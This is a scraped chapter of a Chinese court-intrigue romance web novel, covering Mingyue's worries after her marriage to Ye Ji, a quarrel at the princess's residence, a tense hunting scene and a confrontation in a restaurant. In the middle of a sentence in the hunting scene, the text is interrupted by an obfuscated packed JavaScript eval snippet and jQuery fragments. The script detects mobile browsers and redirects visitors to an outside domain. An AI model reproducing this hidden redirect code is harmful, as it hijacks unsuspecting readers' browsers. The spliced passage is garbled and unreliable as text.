默认冷灰
24号文字
方正启体

6.第006章

作者:嗞咚本书字数:K更新时间:
    竹林外,沈依菀透过层层的竹影,死死看着溪边无谓礼教,忘我缠吻的两人。


    泪水已经干在眼眶下,指甲生生折断在掌心。


    “现在可以死心了吗?”楚容勉不是何时走到了她身后。


    沈依菀咬牙红着眸瞪向他,眼中尽是伤痛。


    破碎的一眼让楚容勉心疼无比,“依菀,已经过去了。”


    过去?绝对不会的!


    她坚持的信念不可以崩塌!她不可以失去临清!


    沈依菀拼命为这一切寻找着理由,不肯放过一丝一毫的机会。


    临清年幼时便饱受欺凌,被国公府苛待,折辱,导致了他七情淡薄。


    其他一切都可能变,可这一点,一定不会的。


    不正常!一切都太不正常!尤其是临清的态度,处处透着诡异。


    纵是变心,难道一个人的性子也能天翻地覆?


    若不是幼时救命的恩情,她甚至也无法靠近他……这样的男人,怎么会为沉溺于男欢女爱。


    还有方才,赵姳月慌乱的样子,也与以往高高在上的娇蛮不同。


    她问她是不是对临清做了什么,她紧张的过分!


    一定有什么,一定有什么原因!


    楚容勉看她分明陷入了死胡同,紧握住她的肩,“依菀,可你还有我。”


    沈依菀回神,避开楚容勉灼灼的双眸,“我知道你一直都站在我这边。”


    “你知道我说得不是这个。”


    “我该回去了。”沈依菀看了他一眼,推开他的手,快步离开。


    楚容勉双手垂落到身侧,站在原地,苦涩而笑。


    *


    武帝勤勉,五日一早朝。


    清早,叶岌离开后没多久,姳月也醒了。


    她睁着眼睛侧躺在拔步床上,边上空了的位置很快散去温度。


    昨夜从鹿鸣谷回来后,叶岌几乎与她彻夜。


    她心里的不安也在他一次次的冲击下被掩埋,可现在他离开后,一切思绪就开始不受控制的蔓延。


    她以前不是这样,可能是因为她以前没有做坏事。


    那时她任性,也任性的坦荡,可现在她把自己逼到了悬崖边,每走一步都怕就掉下去。


    姳月躺着也觉得不踏实,干脆坐起身,盖在身上的衾被也顺着滑落,露出雪白的胴体,以及肌肤上一朵一朵被叶岌种下的印记。


    他食髓知味,让姳月时常有种他想吃了她的错觉。


    换做从前,她恐怕如何也想象不出叶岌那样冷清的人,会这样的放纵无度。


    姳月曲起发麻的细指,觉得自己不能再想了。


    她驱散思绪,想起昨日祁怀濯与恩母说的话,两人似乎是闹了不快。


    想了想,她决定去公主府看看。


    姳月自小养在公主府,进出素来自由,她熟门熟路的往内院走去,走过中庭,守在殿外的如慧将她拦了下来。


    如慧是恩母的贴身婢女,怎么不在内伺候?


    姳月奇怪问:“可是恩母不在?”


    如慧神色有些不自在,“长公主与六殿下在谈事,夫人不如去偏厅小坐一会儿,我让人端你爱吃的芙蓉雪酥饼。”


    姳月听她这么说,便觉得一定是祁怀濯和恩母又起了争执,殿内这时也传出一声清脆嘹亮的动静。


    像是茶盏惯在地上。


    眼看吵得如此厉害,姳月哪里坐的住,情急走近两步。


    “姑母不知道么,我讨厌的就是他。”


    是祁怀濯的声音,他像是还要说什么,被长公主凌厉打断,“够了,你给我出去,滚!”


    殿门被用力拉开,祁怀濯阴沉着脸从里面出来,看到外面站着的姳月,一句话都没有说,径直从她身边走过。


    记忆里,姳月还从没见过祁怀濯动怒,无论面对谁他永远都是和煦的样子,也没有皇子的架子。


    那说明,这次的事真的很严重。


    姳月神色一紧,快跑进殿中,长公主沉静坐在软榻上,脚边是一地的碎瓷。


    “恩母。”她小声唤。


    长公主似隔了一会儿才听到,抬头看她,“姳月来了。”


    她状若无事的吩咐下人收拾了狼藉,又搬来凳子让姳月坐下,抿着笑问她怎么来了。


    姳月看出她笑意下的疲累,“恩母,是不是六皇子犯什么错了,惹你生气。”


    长公主脸上的笑淡了淡,她并不想提他,看着姳月担心的目光,叹息道:“争执了几句。”


    姳月迟疑道:“六皇子不是最孝顺恩母。”


    长公主冷笑着扯动嘴角,“他如今翅膀硬了,我也管不住他。”


    未免姳月再问,长公主接着又说:“管不住他,总管得住你,不可再问了。”


    姳月只得把想说的话咽回嘴里,脑子却一直在想,祁怀濯口中说的最讨厌的人是谁。


    莫不是九皇子?


    一年前的宫变,太子以谋逆罪被贬幽禁,如今太子位悬空,最有可能坐上储位的就是他和祁怀濯。


    姳月想了一圈,觉得这个答案是最有可能的。


    否则她想不到别的什么事能让恩母这么生气。


    恩母是不想让祁怀濯去争太子位吗?


    不过这桩事确实少不了危险。


    当初叶岌高中之后便成了太子的近臣,要不是他看出了太子谋逆的心,又慧极在宫变中逃过一劫,现在的下场恐怕也好不了。


    “我听闻,昨日沈依菀找了你?”


    姳月兀自想着,冷不丁听长公主开口,吃惊抬眸。


    恩母是怎么知道的?


    长公主问:“她可有刁难你?”


    换做从前,姳月早就委屈兮兮的告状了,可现在她对沈依菀有愧疚,想了想,摇头:“也不算刁难。”


    长公主皱起眉,不喜欢看到姳月这么委屈自己的模样。


    她知道背后有人说姳月骄纵傲慢,可她即是她的养女,就是最尊贵的,便是再骄纵也可以。


    现在她这么忍让,无非是因为叶岌。


    长公主不悦的吐气,连带着叶岌也迁怒,“当初我就不该允许你嫁给叶岌!”


    “恩母。”姳月急急解释,“这与叶岌没关系。”


    对上长公主拧起的眉眼,姳月低下眸,“毕竟,沈依菀也可怜。”


    长公主见不得她这窝窝囊囊的样子。


    既然知道错,便不该做,做了,便不该后悔。


    要狠心就狠心到底。


    忍耐了几许,长公主道:“既然如此,我看倒不如替她择一门好亲事,这般也算有个了结。”


    姳月只想了一瞬便摇头,“恩母就不要为我操心了。”


    长公主见她左右不听劝,一时气恼,“随你。”


    “恩母。”姳月惴惴唤。


    长公主不理会,屈指支着额侧,闭眸假寐。


    如慧笑着打圆场,“长公主许是乏了。”


    姳月神色黯淡的点点头,“那我不打扰恩母休息了。”


    水青跟着姳月从公主府离开,忍不住低声问:“夫人为什么不答应长公主说的,这样一来,沈依菀也不会再缠着世子。”


    “你不懂。”姳月摇头低语。


    她当然也想让沈依菀不要再出现,可她已经抢走了叶岌,再将她塞给别人,实在太坏了。


    虽然听上去假惺惺,但她真的做不出来,尤其是看到沈依菀因为她变得这么可怜。


    只是没想惹了恩母生气,姳月眉头细细拧起,神色苦恼。


    马车经过珍馐楼,姳月心念一动,出声道:“停下。”


    珍馐楼里都城里最好的酒楼,点心师父做的糕点更是一绝。


    恩母就最爱吃这里的金丝燕窝翡翠糕。


    想到恩母先是被祁怀濯,又是被她气,姳月当即决定进去买一些糕点送去公主府,也好让她消消气。


    *


    城郊猎场,叶岌单手握着缰绳,趋马慢行在林间。


    宽袖被扎紧在革制护腕下,窄腰劲瘦,衣袍随风猎猎,放大了往日被一袭儒衫规束起来的桀骜。


    祁怀濯行在前方,拉弓放箭,箭头在空中破出铮铮的声音,伴着一声凄厉的鹿鸣,一头梅花鹿中箭倒地。


    祁怀濯跃下马背,朝着倒地但还没有咽气的鹿走去。


    小鹿预感到危险,呜鸣着蹬着受伤的后退想要站起来,然后又狠狠跌回去。


    祁怀濯面无表情,握住长箭的尾部,猛得拔出,嘶鸣声震响林间。


    他将拔出的箭重新拉到弓上。


    而在他身后,叶岌向步杀伸出手。


    步杀将手里的弓箭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241906|181416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    递上,看着叶岌挽箭拉弓,箭头朝的竟然是六皇子的方向。


    步杀一凛,“世子。”


    铮——


    破空声接着他的话响起,他惊愕扭头,箭矢几乎是贴着六皇子袖子过去,狠狠钉在前方的树干上。


    祁怀濯愣了片刻,放下拉开的弓,回头笑看向叶岌,“临清,你是射偏了吗?”


    说话间,那只受伤的鹿也终于站起,瘸着腿跑进林间。


    祁怀濯啧了声。


    叶岌没有理会他意有所指的话,启唇像是随口一问,“昨日鹿鸣谷,殿下预备干什么。”


    祁怀濯再度回头看了眼钉在树干里的长箭。


    须臾,溢了声笑,“楚容勉找上我,我也是看沈姑娘可怜。”


    “可怜,还是看戏。”叶岌问。


    祁怀濯脸上的表情严肃了一些,“临清,你我的交情,我怎么会想看你的戏,我也是怕你一时糊涂,不过现在我知道了,是我多虑了。”


    叶岌对他的所言不置可否,将手里的弓抛回给了步杀,继而才想起回答他最初的问题,“一只獾子,跑过去了。”


    祁怀濯展了笑,笑意里极快的闪过一道锋芒,叶岌无疑是一把利剑,锋利,意味着危险。


    鹿跑了,祁怀濯也没有狩猎的兴致,走回来,“渝山王的捷报已经送到宫中,等河东这场内乱平息,父皇也该定下储位了。”


    叶岌听到渝山王三个字,眉骨深压起。


    祁怀濯想到什么,轻挑起眉梢,渝山王世子随父平乱,怕是还不知道赵姳月和叶岌成婚的消息。


    等他回来,又该是一场有趣的戏码。


    林子入口的方向匆匆走来一人,是叶岌留在姳月身边暗中守卫的断水。


    不等断水走近,叶岌已经拉动缰绳,牵马过去。


    祁怀濯见断水附在叶岌耳说了什么,叶岌便一抽手里的鞭子,策马离开。


    *


    珍馐楼


    姳月颦眉看向挡住自己去路的男人,“楚容勉,你到底要干什么?”


    楚容勉语气嘲弄鄙夷,“赵姑娘是生来就爱抢别人的东西么?”


    姳月眉心紧紧拧起,早前他还跟在叶岌身后的时候,他们就不合。


    只是以前谁也不搭理谁,没想到今日他会过来发难。


    楚容勉见她神色无辜,还真是会装傻。


    “你手里的糕点,是我要的。”


    姳月看了眼提在手里的糕点,这金丝燕窝翡翠糕制作极为复杂,每日做的份数也有限,若来迟了就买不到。


    约莫是楚容勉来的晚了,碰了空。


    姳月觉得他胡搅蛮缠,也冷了脸:“你自己来迟了,到我这里来纠缠什么。”


    楚容勉呵呵笑了两声,“我半个时辰前就到了这里,这糕点也是早早就要了,伙计承诺还有,结果突然又跑来说算错了份数。”


    他本不意计较,但他今日是特意陪着依菀过来,更没想还是冤家路窄。


    “现在这算错份数的糕点,却到了你手里。”


    姳月听懂了,回看着他说:“这糕点是店家送来我这里的,有什么问题你应该去问他们。”


    “赵姑娘可真有意思。”楚容勉眼神冷蔑。


    珍馐楼里进出的都是达官贵人,店里伙计也各个眼尖会识人,“赵姑娘你都来了,店家自然是巴结着你,你说呢。”


    “你把话都说了,还要我说什么。”姳月觉得莫名其妙,“非要说的话,那你让开。”


    水青去推人,可一个姑娘家显然推不动这么个高大的男人。


    姳月也气了,抬起睫羽恼瞪着他,“你到底要干什么?”


    楚容勉一语双关,“把不是你的东西还来。”


    姳月抿抿唇,将提着糕点的手背到身后。


    且不说这是她买给恩母的,就冲着楚容勉这幅态度,她也不会给他。


    楚容勉脸色阴沉下来,“你若不肯给,就去祈求宽恕。”


    姳月不可思议的看着他,这个人简直一如既往的小肚鸡肠。


    现在看上去还有点不正常。


    既然他挡着雅间的门,姳月干脆转身走回去坐下,反正站着比坐着累。


    楚容勉跨进一步,咄咄逼人,“去向被你欺负的人祈求宽恕。”


    “去向沈依菀道歉!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)